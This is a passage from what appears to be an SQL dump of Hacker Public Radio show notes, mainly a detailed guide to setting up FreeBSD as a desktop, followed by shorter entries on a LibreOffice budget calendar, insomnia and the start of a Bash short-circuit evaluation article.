role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>Donkey Lane is a public right of way, possibly since the 1700’s. It starts as a pedestrian-only pathway then turns into a narrow tarmac-covered roadway with a pedestrian-only railway crossing.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,0,1,'CC-BY-SA','chat, old technology, organiser',0,0,1),
(3705,'2022-10-14','The Year of the FreeBSD Desktop',4155,'I talk about configuring FreeBSD as a desktop OS and give tips for those coming from Linux','<h1 id=\"getting-an-installer\">Getting an installer</h1>\n<p><a href=\"https://www.freebsd.org/where/\">Link to FreeBSD downloads</a></p>\n<p>Choose the correct arch for your system. amd64 is probably the one you want if you know nothing about computer architectures.</p>\n<p>you will have a lot of options:</p>\n<ul>\n<li>*-bootonly.iso is a netinstall image that is for burning to a CD</li>\n<li>*-disc1.iso is a supplementary CD image for *-bootonly.iso</li>\n<li>*-dvd1.iso is a complete DVD image with extra packages</li>\n<li>*-memstick.img is a complete image for burning to a USB stick</li>\n<li>*-mini-memstick.img is a netinstall image for burning to a USB stick</li>\n</ul>\n<p>I typically download and use one of the compressed memstick images. The mini image is fine but you probably want the regular memstick image if this is the first time you\'ve ever installed FreeBSD. It alleviates some of the stress that comes with installing wireless drivers.</p>\n<p>To burn a memstick image, use the <code>disk destroyer</code> program:</p>\n<pre class=\"sh\"><code>root@fbsd# xunz FreeBSD-13.1-RELEASE-amd64-memestick.img.xz\nroot@fbsd# sudo dd if=./FreeBSD-13.1-RELEASE-amd64-memestick.img of=/dev/sdx status=progress\nroot@fbsd# sudo eject /dev/sdx\n</code></pre>\n<hr />\n<h1 id=\"initial-installation\">Initial installation</h1>\n<h2 id=\"pre-installation\">pre-installation</h2>\n<p>The standard steps for installing Linux apply:</p>\n<ol>\n<li>disable secure boot</li>\n<li>enable USB booting</li>\n<li>select boot device at startup time</li>\n</ol>\n<p>Because this is hardware specific, it\'s a homework assignment for the audience.</p>\n<h2 id=\"installation\">Installation</h2>\n<p>FreeBSD has a menu driven installer that walks the user through various steps:</p>\n<h3 id=\"1-set-keymap-leave-default-if-you-dont-know\">1. set keymap (leave default if you don\'t know)</h3>\n<h3 id=\"2-set-hostname\">2. set hostname</h3>\n<h3 id=\"3-select-sets\">3. select sets</h3>\n<p>There are many sets to choose from. New users probably want to install all of them. I typically only install the <code>lib32</code> set and add the rest later.</p>\n<h3 id=\"4-partitioning\">4. Partitioning</h3>\n<p><code>bsdinstall</code> makes it easy to partition your drives. The <code>Auto(ZFS)</code> option is probably what you want as the default UFS configuration is unjournaled.</p>\n<p>In the <code>Auto(ZFS)</code> menu, for a single hard drive installation, you want to stripe one disk. Select your hard drive.</p>\n<p>If you want full disk encryption, select the <code>Encrypt Disks</code> option.</p>\n<p>You also want to bump up the swap size to <code>ram*1.5</code> as a general rule (so, for 4g of ram you will set 6g of swap, for 8g or ram you set 12g swap). If you selected <code>Encrypt Disks</code>, you should also select <code>Encrypt Swap</code></p>\n<p>When you are done, proceed with the installation. You will gt a confirmation message asking if you want to destroy the disk(s) you selected. This is your last chance to go back.</p>\n<p>If you selected <code>Encrypt Disks</code>, you will be presented with a password prompt. This is the disk encryption password, not any user password.</p>\n<h3 id=\"5-wait-for-sets-to-install\">5. Wait for sets to install</h3>\n<h3 id=\"6-configure-root-user\">6. Configure root user</h3>\n<p>After the sets are installed, you will set a root password.</p>\n<h3 id=\"7-network-config\">7. Network Config</h3>\n<p>If your wireless card is supported, all the hard parts are already done for you. If your wireless card is not supported, you might need to plug in an ethernet cable and compile the drivers into the kernel.</p>\n<p>Select your card (<code>em*</code> is ethernet, wifi cards are named after their drivers)</p>\n<p>If you choose wifi, the installer will scan for networks and give you a menu to select one. If the network is encrypted, you will be presented with a password prompt.</p>\n<h3 id=\"8-time-and-date-setup\">8. Time and date setup</h3>\n<h3 id=\"9-service-setup\">9. Service setup</h3>\n<p>You will be presented with a menu that enables/disables services on system startup. You probably want all of them except <code>local_unbound</code>.</p>\n<h3 id=\"10-security-config\">10. Security config</h3>\n<p>The next menu enables/disables security features. If nothing else, select <code>disable_sendmail</code> and <code>clear_tmp</code></p>\n<h3 id=\"11-add-users\">11. Add users</h3>\n<p>Simply add your user. You might want to add him to the wheel group if you plan on using sudo. I set my shell to tcsh but you can always change this later. A</p>\n<h3 id=\"12-final-configuration\">12. Final configuration</h3>\n<p>You may want to install the handbook or modify any configurations you\'ve made so far. This will take some time. When you are done, apply the config and exit.</p>\n<h3 id=\"13-manual-config\">13. Manual config</h3>\n<p>Before you reboot the system and exit the installer, you are given a last opportunity to make any manual configurations. This is rarely needed for the average desktop user.</p>\n<h2 id=\"post-installation\">Post installation</h2>\n<blockquote>\n<p>What, no GUI?</p>\n</blockquote>\n<h3 id=\"update-system\">Update system</h3>\n<p>Login as root and update the system:</p>\n<pre class=\"sh\"><code>root@fbsd# freebsd-update fetch\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h3 id=\"installing-packages\">Installing packages</h3>\n<p>Before we begin modifying the system, we need a better editor.</p>\n<p>The <code>pkg</code> utility is used in a nearly identical way to any Linux package manager. The syntax <code>pkg $verb $object</code> persists. Verbs include <code>install</code>, <code>remove</code>, <code>update</code>, <code>upgrade</code>, <code>search</code>, etc.</p>\n<p>Because the only editors installed by default are <code>vi</code>, <code>ed</code>, and <code>ee</code>, let\'s install vim.</p>\n<p>There are multiple vim flavors, I like vim-tiny.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg bootstrap\nroot@fbsd# pkg update\nroot@fbsd# pkg search vim\nroot@fbsd# pkg install vim-tiny\n</code></pre>\n<p>We probably want sudo (or doas) also:</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install sudo\nroot@fbsd# visudo\n</code></pre>\n<p>Find the line that says:</p>\n<pre class=\"sh\"><code># %wheel ALL=(ALL:ALL) ALL\n</code></pre>\n<p>and move the <code># </code> from the beginning of the line to enable the wheel group to do actions as root.</p>\n<h3 id=\"bootloader-tweaks\">Bootloader tweaks</h3>\n<p>We can tweak the bootloader to make the system more desktop-like. Edit <code>/boot/loader.conf</code></p>\n<pre class=\"sh\"><code># /boot/loader.conf\n# -----------------\n[ lots of default stuff ]\n\n# custom stuff\n\n# boot faster\nautoboot_delay=2\n</code></pre>\n<p>Refer to <code>loader.conf(5)</code> for more tweaks and <code>/boot/defaults/loader.conf</code> for examples.</p>\n<h3 id=\"init-tweaks\">init tweaks</h3>\n<p>We can tweak the init system also. Edit <code>/etc/rc.conf</code></p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of default stuff ]\n\n# enable graphics\nkld_list=&quot;i915kms&quot;\n\n# faster booting\nbackground_dhclient=&quot;YES&quot;\n</code></pre>\n<p>See <code>rc.conf(5)</code> and <code>/etc/defaults/rc.conf</code> for more information on what you can do.</p>\n<h3 id=\"snapshotting-a-sane-fresh-installation\">Snapshotting a sane fresh installation</h3>\n<p>At this point, it is wise to take a recursive snapshot of your FreeBSD installation. This provides us with an easy way to roll back to a fresh, known working system configuration.</p>\n<pre class=\"sh\"><code>root@fbsd# zfs snapshot -r zroot@freshinstall\nroot@fbsd# zfs list - tsnapshot\n</code></pre>\n<p>If the system becomes unrepairable, we can simply rollback instead of reinstalling with a simple command:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs rollback -r zroot@freshinstall\n</code></pre>\n<p>To rollback every dataset, we can use xargs:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs list -t snapshot | grep freshinstall | cut -d &#39; &#39; -f 1 | xargs -I % zfs rollback %\n</code></pre>\n<p>Using zfs snapshots before and after making any potentially dangerous configuration changes saves a lot of headache in the long run because zfs is accessible from the recovery shell. Rollback with caution, user data may be lost.</p>\n<p>Homework assignment: write a series of cron jobs that automatically takes snapshots (and cleans up the old ones) of user data as a form of <em>last line of defense version control</em></p>\n<hr />\n<h1 id=\"graphical-user-interfaces\">Graphical user interfaces</h1>\n<h2 id=\"install-graphics-drivers\">Install graphics drivers</h2>\n<p>This varies depending on your GPU.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install drm-kmod\n</code></pre>\n<p>After installing this package, you will see a message on how to enable the driver for your specific hardware:</p>\n<pre class=\"sh\"><code>For amdgpu: kld_list=&quot;amdgpu&quot;\nFor Intel: kld_list=&quot;i915kms&quot;\nFor radeonkms: kld_list=&quot;radeonkms&quot;\n</code></pre>\n<p>To enable one of these, you will need to add a line to your <code>/etc/rc.conf</code>. The earlier you place this line in the file, the sooner the kmods will load. For intel graphics, for example, you will add the following line:</p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of other stuff ]\n\n# intel graphics drivers\nkld_list=&quot;i915kms&quot;\n</code></pre>\n<p>To load the kmod on the fly (for larger resolution vt), run:</p>\n<pre class=\"sh\"><code>root@fbsd# kldload i915kms\n</code></pre>\n<p>You will also need to add your non-root user to the <code>video</code> group.</p>\n<pre class=\"sh\"><code>root@fbsd# pw groupmod video -m $user\n</code></pre>\n<h2 id=\"audio\">Audio</h2>\n<p>(hopefully) audio will just work. Supported audio interfaces are enumerated in <code>man snd(4)</code> and details on enabling/disabling drivers in <code>/boot/lodaer.conf</code> are also explained.</p>\n<p>To manage volume, use the <code>mixer</code> command. For example, setting the mic volume to 50% and the speaker volume to 95%:</p>\n<pre class=\"sh\"><code>user@fbsd% mixer mic 50:50\nuser@fbsd% mixer vol 95:95\n</code></pre>\n<p>The <code>mixertui</code> command can also be used. This program functions similarly to <code>alsamixer</code> on Linux.</p>\n<p>Depending on your hardware, the volume keys on your keyboard might not work. Adding a keybinding to a shell script is the usual solution and should be familiar to anyone who uses a desktop free window manager.</p>\n<h2 id=\"getting-xorg\">Getting xorg</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg install xorg\n</code></pre>\n<p>The <code>twm</code> window manager is included with xorg by default. We can use it for testing our xorg configuration, mouse support, etc before continuing with larger desktop environments. Early troubleshooting always prevents foot shooting. Test early, test often.</p>\n<pre class=\"sh\"><code>root@fbsd# startx\n</code></pre>\n<h2 id=\"desktop-environments\">Desktop Environments</h2>\n<p>Refer to <a href=\"https://docs.freebsd.org/en/books/handbook/x11/#x11-wm\">The handbook\'s instructions on desktops</a> for instructions on non-suckless (ie suck<em>more</em> setups). I have tested some of them on FreeBSD. KDE and Xfce are reliable. GNOME is mostly reliable. If you are running a big DE, you might have to modify polkit rules to do things like reboot the system from the GUI. Many larger desktops rely on FreeDesktop.org components. I personally do not like dbus so instead I use the suckless tools.</p>\n<p>But, for the sake of completeness, I will install a few for the masses. I installed each one of these independently and sequentially on the same system using zfs snapshots to roll back to a bare bones system without any DE installed.</p>\n<h3 id=\"gnome\">GNOME</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install gnome\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc gdm_enable=&quot;YES&quot;\nroot@fbsd# sysrc gnome_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/gnome-on-freebsd.png\"><img src=\"eps/hpr3705/gnome-on-freebsd_thumbnail.png\" alt=\"Gnome screenshot on FreeBSD\" /></a></p>\n<h3 id=\"kde\">KDE</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install kde5 sddm\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc sddm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/kde-on-freebsd.png\"><img src=\"eps/hpr3705/kde-on-freebsd_thumbnail.png\" alt=\"KDE screenshot on FreeBSD\" /></a></p>\n<h3 id=\"xfce\">Xfce</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install xfce xfce4-goodies\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\n</code></pre>\n<p>Xfce does not provide it\'s own login manager, unlike GNOME or KDE. Let\'s pick lightdm because it\'s small and the graphical toolkit matches Xfce.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install lightdm-gtk-greeter\nroot@fbsd# sysrc lightdm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n\n</code></pre>\n<p><a href=\"eps/hpr3705/xfce-on-freebsd.png\"><img src=\"eps/hpr3705/xfce-on-freebsd_thumbnail.png\" alt=\"Xfce screenshot on FreeBSD\" /></a></p>\n<h3 id=\"suckless\">Suckless</h3>\n<p><a href=\"https://suckless.org\">suckless: tools that suck less.</a></p>\n<p>This is how I use FreeBSD (and how I use most computers). I wrote a makefile that modifies the compile options so that the tools will build on FreeBSD and (optionally) adds the theme I use. <a href=\"https://gitlab.com/binrc/suckless\">You can find my suckless duct tape in this git repo</a>.</p>\n<p>I also use xdm because it\'s small and fast.</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install xdm\nuser@fbsd% sudo service xdm enable\n</code></pre>\n<p><a href=\"eps/hpr3705/suckless-on-freebsd.png\"><img src=\"eps/hpr3705/suckless-on-freebsd_thumbnail.png\" alt=\"Suckless screenshot on FreeBSD\" /></a></p>\n<h3 id=\"a-final-note-on-desktops\">A final note on desktops</h3>\n<p>Sometimes desktops behave unexpectedly on FreeBSD (ie users cannot manage power settings, reboot the system, etc). Make sure your login user is in the wheel group (it\'s your computer, you probably are already in the wheel group) and most of the issues will be resolved. For users you don\'t want in the wheel group, you\'ll need to write a few <code>polkit</code> rules.</p>\n<p>Additionally, big desktops are typically compiled without the graphical components for modifying network connections.</p>\n<p>Similar to Arch or Gentoo, there is a bit of legwork left to the end user. You\'ll never know what you might learn about systems administration if you don\'t wilfully give yourself the opportunity.</p>\n<h2 id=\"shell-tweaks\">Shell tweaks</h2>\n<p>I like colors in the shell for systems I use regularly. I also like aliases. We can modify our csh configuration file to automatically do the fancy for us.</p>\n<pre class=\"sh\"><code># ~/.cshrc\n# -----------------\n[ lots of stuff ]\n\n# prompt section\nif ($?prompt) then\n    # An interactive shell -- set some stuff up\n    #set prompt = &quot;%N@%m:%~ %# &quot;\n    #set prompt = &quot;%{\\033[31m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set prompt = &quot;%{\\033[1m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set promptchars = &quot;%#&quot;\n\n    set filec\n    set history = 1000\n    set savehist = (1000 merge)\n    set autolist = ambiguous\n    # Use history to aid expansion\n    set autoexpand\n    set autorehash\n    set mail = (/var/mail/$USER)\n\n    if ( $?tcsh ) then\n        bindkey &quot;^W&quot; backward-delete-word\n        bindkey -k up history-search-backward\n        bindkey -k down history-search-forwarrd\n        bindkey &quot;^R&quot; i-search-back\n    endif\nendif\n\n# alias section\nalias la    ls -aF\nalias lf    ls -FA\nalias ll    ls -lAF\nalias ls    ls -GF\nalias lc    ls -GF\n</code></pre>\n<h2 id=\"some-other-packages\">Some other packages</h2>\n<p>The things I like:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install firefox gimp feh mpv ffmpeg ImageMagick7 mutt newsboat\n</code></pre>\n<p>If you install a large DE, most of the applications are pulled in as well. If not, you can always use xargs to pull in hundreds of gigabytes of programs:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg search $desktop | cut -d &#39; &#39; -f 1 | xargs sudo pkg install -y\n</code></pre>\n<p>Going GNU:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install coreutils emacs bash gcc gmake\n</code></pre>\n<p>Do a few package searches. What you want is probably there. If not, time to start porting :)</p>\n<p>Once you have everything configured how you want it, it\'s a good time to take another zfs snapshot.</p>\n<hr />\n<h1 id=\"quickstart\">Quickstart</h1>\n<h2 id=\"init-system\">Init system</h2>\n<p>Instead of systemd, FreeBSD uses rc scripts for starting and stopping services. Everything is pretty much shell scripts. To modify the startup process, you simply edit <code>/etc/rc.conf</code> in a text editor.</p>\n<p>For <code>systemctl</code> like starting/stopping/enabling, you can do the following:</p>\n<pre class=\"sh\"><code>root@fbsd# service sshd enable\nroot@fbsd# service sshd start\nroot@fbsd# service sshd restart\nroot@fbsd# service sshd stop\nroot@fbsd# service sshd disable\nroot@fbsd# service sshd onestart\nroot@fbsd# service sshd status\n</code></pre>\n<p>Each service has it\'s own init file so sometimes a specific service might take different arguments than the standard ones you might expect.</p>\n<h2 id=\"networking\">Networking</h2>\n<p>Network interfaces are configured classically using <code>ifconfig(8)</code>. If you want a network interface to persist across reboots, you add the information in <code>/etc/rc.conf</code>.</p>\n<p>WiFi is managed with <code>wpa_supplicant</code>. Refer to <code>man wpa_supplicant.conf(8)</code> for more information.</p>\n<h2 id=\"firewall\">Firewall</h2>\n<p><a href=\"https://docs.freebsd.org/en/books/handbook/firewalls/#firewalls-pf\">use the pf firewall, I like it</a></p>\n<h2 id=\"general-upgrade-process\">General upgrade process</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update upgrade -r 13.1-RELEASE\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\nroot@fbsd# freebsd-update install\nroot@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h2 id=\"shells\">Shells</h2>\n<p>FreeBSD uses <code>tcsh(1)</code> as the default shell and includes <code>sh(1)</code> for bourne-like compatibility. You can install bash if you want.</p>\n<h2 id=\"package-management\">Package management</h2>\n<p>There are two primary ways of managing software: binary packages and ports. Don\'t mix them if you don\'t know what you\'re doing, it can cause problems.</p>\n<p>To be brief: ports are like Gentoo. You spend a lot of time watching compiler output. The following programs help: <code>synth</code>, <code>portmaster</code>, <code>poudriere</code>.</p>\n<p>to be verbose: here is a quick guide on using the binary package management system:</p>\n<pre class=\"sh\"><code>pkg update\npkg upgrade\npkg search foobar\npkg install foobar\npkg remove foobar\npkg autoremove\n</code></pre>\n<p>As you can see, the syntax is nearly identical to dnf or apt.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<p>The hierarchy of FreeBSD is slightly different than a typical Linux system. Refer to <code>man hier(7)</code> for more information.</p>\n<p>The biggest difference is that FreeBSD a logically organized system. For example: On Linux, everything seems to end up in <code>/bin</code> (which is a symlink to <code>/usr/bin</code>). Additionally, <code>/sbin</code> is just a symlink to <code>/usr/sbin</code>. On FreeBSD, the system is more organized. For example:</p>\n<p><code>/bin</code> contains everything required to boot the system and <code>/sbin</code> contains everything required for fundamental administration.</p>\n<p><code>/usr/bin</code> contains most everything else</p>\n<p><code>/usr/local</code> contains everything installed by the package management system.</p>\n<p>User installed programs are configured in <code>/usr/local/etc</code>. This might be confusing at first but you\'ll get the hang of it.</p>\n<p>This logical separation might cause confusion when compiling software from source on FreeBSD but it\'s not too difficult to solve if you already know how about linker options and makefile modification.</p>\n<p>As for filesystems, apparently ext2, ext3, and ext4 have read/write support using the <code>ext2fs(5)</code> driver. I probably wouldn\'t boot from them but this exists. UFS is not journaled by default, proceed with caution. ZFS is very good.</p>\n<h2 id=\"zfs-non-starter\">ZFS non-starter</h2>\n<p>ZFS is cool because we can create partitions on a whim. Here is some shell output demonstrating listing datasets, creating datasets with a quota, destroying datasets, creating and using encrypted datasets, etc.</p>\n<pre class=\"sh\"><code>root@freebsd:/ #\nroot@freebsd:/ # zfs list\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot                                      3.97G   434G       96K  /zroot\nzroot/ROOT                                 3.82G   434G       96K  none\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644     8K   434G     1.07G  /\nzroot/ROOT/default                         3.82G   434G     3.71G  /\nzroot/tmp                                   208K   434G      112K  /tmp\nzroot/usr                                   157M   434G       96K  /usr\nzroot/usr/home                              157M   434G      157M  /usr/home\nzroot/usr/ports                              96K   434G       96K  /usr/ports\nzroot/usr/src                                96K   434G       96K  /usr/src\nzroot/var                                  1.04M   434G       96K  /var\nzroot/var/audit                              96K   434G       96K  /var/audit\nzroot/var/crash                              96K   434G       96K  /var/crash\nzroot/var/log                               424K   434G      300K  /var/log\nzroot/var/mail                              192K   434G      128K  /var/mail\nzroot/var/tmp                               160K   434G       96K  /var/tmp\nroot@freebsd:/ # zfs list -t snapshot\nNAME                                                     USED  AVAIL     REFER  MOUNTPOINT\nzroot@freshinstall                                        64K      -       96K  -\nzroot/ROOT@freshinstall                                    0B      -       96K  -\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644@freshinstall     0B      -     1.07G  -\nzroot/ROOT/default@2022-09-18-14:36:44-0                76.7M      -     1.07G  -\nzroot/ROOT/default@freshinstall                         35.0M      -     1.21G  -\nzroot/tmp@freshinstall                                    96K      -      112K  -\nzroot/usr@freshinstall                                     0B      -       96K  -\nzroot/usr/home@freshinstall                               96K      -      128K  -\nzroot/usr/ports@freshinstall                               0B      -       96K  -\nzroot/usr/src@freshinstall                                 0B      -       96K  -\nzroot/var@freshinstall                                     0B      -       96K  -\nzroot/var/audit@freshinstall                               0B      -       96K  -\nzroot/var/crash@freshinstall                               0B      -       96K  -\nzroot/var/log@freshinstall                               124K      -      188K  -\nzroot/var/mail@freshinstall                               64K      -       96K  -\nzroot/var/tmp@freshinstall                                64K      -       96K  -\nroot@freebsd:/ # zfs create zroot/crypt\nroot@freebsd:/ # zfs set quota=5g zroot/crypt\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                  96K  5.00G       96K  /zroot/crypt\nroot@freebsd:/ # zfs destroy zroot/crypt\nroot@freebsd:/ # zfs create -o encryption=on -o keylocation=prompt -o keyformat=passphrase zroot/crypt\nEnter new passphrase:\nRe-enter new passphrase:\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                 200K   434G      200K  /zroot/crypt\nroot@freebsd:/ # touch /zroot/crypt/supersecret\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\nroot@freebsd:/ # zfs get encryption zroot/crypt\nNAME         PROPERTY    VALUE        SOURCE\nzroot/crypt  encryption  aes-256-gcm  -\nroot@freebsd:/ # zfs unmount zroot/crypt\nroot@freebsd:/ # zfs unload-key -r zroot/crypt\n1 / 1 key(s) successfully unloaded\nroot@freebsd:/ # zfs mount zroot/crypt\ncannot mount &#39;zroot/crypt&#39;: encryption key not loaded\nroot@freebsd:/ # zfs get keystats zroot/crypt\nroot@freebsd:/ # zfs get keystatus zroot/crypt\nNAME         PROPERTY   VALUE        SOURCE\nzroot/crypt  keystatus  unavailable  -\nroot@freebsd:/ # zfs load-key -r zroot/crypt\nEnter passphrase for &#39;zroot/crypt&#39;:\nzfs 1 / 1 key(s) successfully loaded\nroot@freebsd:/ # zfs mount -a\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\n</code></pre>\n<hr />\n<h1 id=\"a-conclusion\">A conclusion</h1>\n<p>Really, I think FreeBSD is a viable desktop operating system for the types of people who already use Linux in a terminal-centric capacity. After all, UNIX is UNIX.</p>\n<hr />\n<h1 id=\"other-stuff\">Other stuff</h1>\n<p><a href=\"https://wiki.freebsd.org/JailingGUIApplications\">Running Firefox inside of a jail</a></p>\n<p><a href=\"https://forums.freebsd.org/threads/how-to-execute-firefox-in-a-jail-using-iocage-and-ssh-jailme.53362/\">Another way to run Firefox inside of a jail</a></p>\n<h2 id=\"freebsd-distros-that-come-with-a-desktop-out-of-the-box\">FreeBSD Distros that come with a desktop out of the box:</h2>\n<p><a href=\"https://www.ghostbsd.org\">GhostBSD - FreeBSD with MATE</a></p>\n<p><a href=\"https://hellosystem.github.io\">HelloSystem - FreeBSD with an Apple-like GUI (still in development)</a></p>\n<p><a href=\"https://www.midnightbsd.org\">MidnightBSD - FreeBSD with Xfce and a different package management system</a></p>\n<p><a href=\"https://nomadbsd.org\">NomadBSD - Live GUI FreeBSD with OpenBoX</a></p>\n<hr />\n<h4>Additional Links</h4>\n<p> Linux to FreeBSD quick start: <br />\n<a href=\"https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/\" target=\"_blank\">https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/</a><br />\n<br />\nSupported hardware: <br />\n<a href=\"https://wiki.freebsd.org/Laptops\" target=\"_blank\">https://wiki.freebsd.org/Laptops</a><br />\n<a href=\"https://bsd-hardware.info/\" target=\"_blank\">https://bsd-hardware.info/</a><br />\n<a href=\"https://dmesgd.nycbug.org/index.cgi\" target=\"_blank\">https://dmesgd.nycbug.org/index.cgi</a></p>\n\n<p><small><small>Editor\'s Note: This section was included from the comment sent by <a href=\"https://hackerpublicradio.org/correspondents/0406.html\">binrc</a>.</small></small></p>\n',406,0,1,'CC-BY-SA','FreeBSD',0,0,1),
(3704,'2022-10-13','Follow up to hpr3685 :: Budget and an Android app',104,'I add a calendar to the budget spreadsheet in LibreOffice','<h4 id=\"follow-up-on-hpr3685-budget-and-an-android-app\">Follow up on hpr3685 :: Budget and an Android app</h4>\n<p>I added a calendar from OpenOffice.org</p>\n<p><a href=\"https://templates.openoffice.org/en/template/any-year-calendar-holidays\" title=\"Open Office calendar template for any year\">OpenOffice.org Template</a></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_1.png\" title=\"Copying a sheet, image 1\" alt=\"Copying a sheet, screenshot 1\" /></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_2.png\" title=\"Copying a sheet, image 2\" alt=\"Copying a sheet screenshot 2\" /></p>\n<p><a href=\"eps/hpr3704/Design_mode_sm.png\" title=\"Switching to Design Mode\"><img src=\"eps/hpr3704/Design_mode_sm_thumbnail.png\" title=\"Switching to Design Mode\" alt=\"Switching to Design Mode\" /></a></p>\n<p><img src=\"eps/hpr3704/Form_control_sm.png\" title=\"Form Control example\" alt=\"Form Control example\" /></p>\n<p><a href=\"eps/hpr3704/Budget_Sample_Any_Year_2022-9-26_05.33.15.ods\" title=\"Budget sample with a calendar in LibreOffice\">Budget sample with a calendar in LibreOffice (Download link)</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, OpenOffice',0,0,1),
(3708,'2022-10-19','Insomnia as a Hobby',466,'Fighting insomnia? Enjoy it...with a few tricks!','<p>I struggle with insomnia, instead of dreading it - I rather enjoy it now...here\'s how!</p>\n',389,0,0,'CC-BY-SA','insomnia,podcasts,librivox',0,0,1),
(3713,'2022-10-26','Bash snippet - short-circuit evaluation in Bash Boolean expressions',1000,'Found I could do this in Bash, so wanted to share!','<article>\n<h2 id=\"preamble\">Preamble</h2>\n<p>This is a case where I came upon a thing in Bash I had never considered before and was pleased and surprised that there was a way of doing what I wanted to do! If this is completely obvious to you, apologies, but it wasn’t to me!</p>\n<h2 id=\"overview\">Overview</h2>\n<p>Many programming languages have the concept of <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">short-circuit evaluation</a> in Boolean expressions. What this means is that in an expression such as:</p>\n<pre><code>A AND B</code></pre>\n<p>if <code>A</code> is <strong>false</strong> then the whole expression must be <strong>false</strong>, and <code>B</code> doesn’t have to be evaluated. That is because both arguments to <code>AND</code> have to be <strong>true</strong> for the overall result to be <strong>true</strong>.</p>\n<p>If <code>A</code> is <strong>true</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>true</strong>.</p>\n<p>Similarly with:</p>\n<pre><code>A OR B</code></pre>\n<p>if <code>A</code> is <strong>true</strong> then the whole expression must be <strong>true</strong> and <code>B</code> can be skipped without evaluation. This is because only one argument to <code>OR</code> needs to be <strong>true</strong> to return a <strong>true</strong> result.</p>\n<p>If <code>A</code> is <strong>false</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>false</strong>.</p>\n<p>Both of these expressions are evaluated from left to right. This is not a given in all languages. Some use special operators such as <code>\'and_then\'</code> and <code>\'or_else\'</code> which explicitly perform short-circuiting and left-to-right evaluation.</p>\n<h3 id=\"definition\">Definition</h3>\n<p>In simple terms, short-circuiting is where the evaluation of an expression is stopped as soon as its outcome is determined.</p>\n<p>The Wikipedia article <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Short-circuit evaluation</a> defines it as:</p>\n<blockquote>\n<p>Short-circuit evaluation, minimal evaluation, or McCarthy evaluation (after John McCarthy) is the semantics of some Boolean operators in some programming languages in which the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND function evaluates to false, the overall value must be false; and when the first argument of the OR function evaluates to true, the overall value must be true.</p>\n</blockquote>\n<p>This article contains a table entitled <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\"><em>Boolean operators in various languages</em></a> which shows details of how various programming and scripting languages cater for this feature.</p>\n<h2 id=\"use-case\">Use case</h2>\n<p>I was writing a Bash script in which I wanted to ask questions about various steps - should they be done or not? Alternatively, I wanted to be able to set an option to run without interaction and assume the answer is <code>\'yes\'</code> to all questions.</p>\n<p>I’d encountered <em>short-circuit evaluation</em> before in Pascal and Perl so I wondered if I could use it in Bash.</p>\n<p>The expression I was trying to write was:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<ul>\n<li>Variable <code>YES</code> is being set through an option <code>\'-Y\'</code>; it’s normally set to zero but is set to 1 if the option is used.</li>\n<li><code>yes_no</code> is a function I wrote, and talked about in <a href=\"https://hackerpublicradio.org/eps.php?id=2096\">HPR episode 2096: “Useful Bash functions - 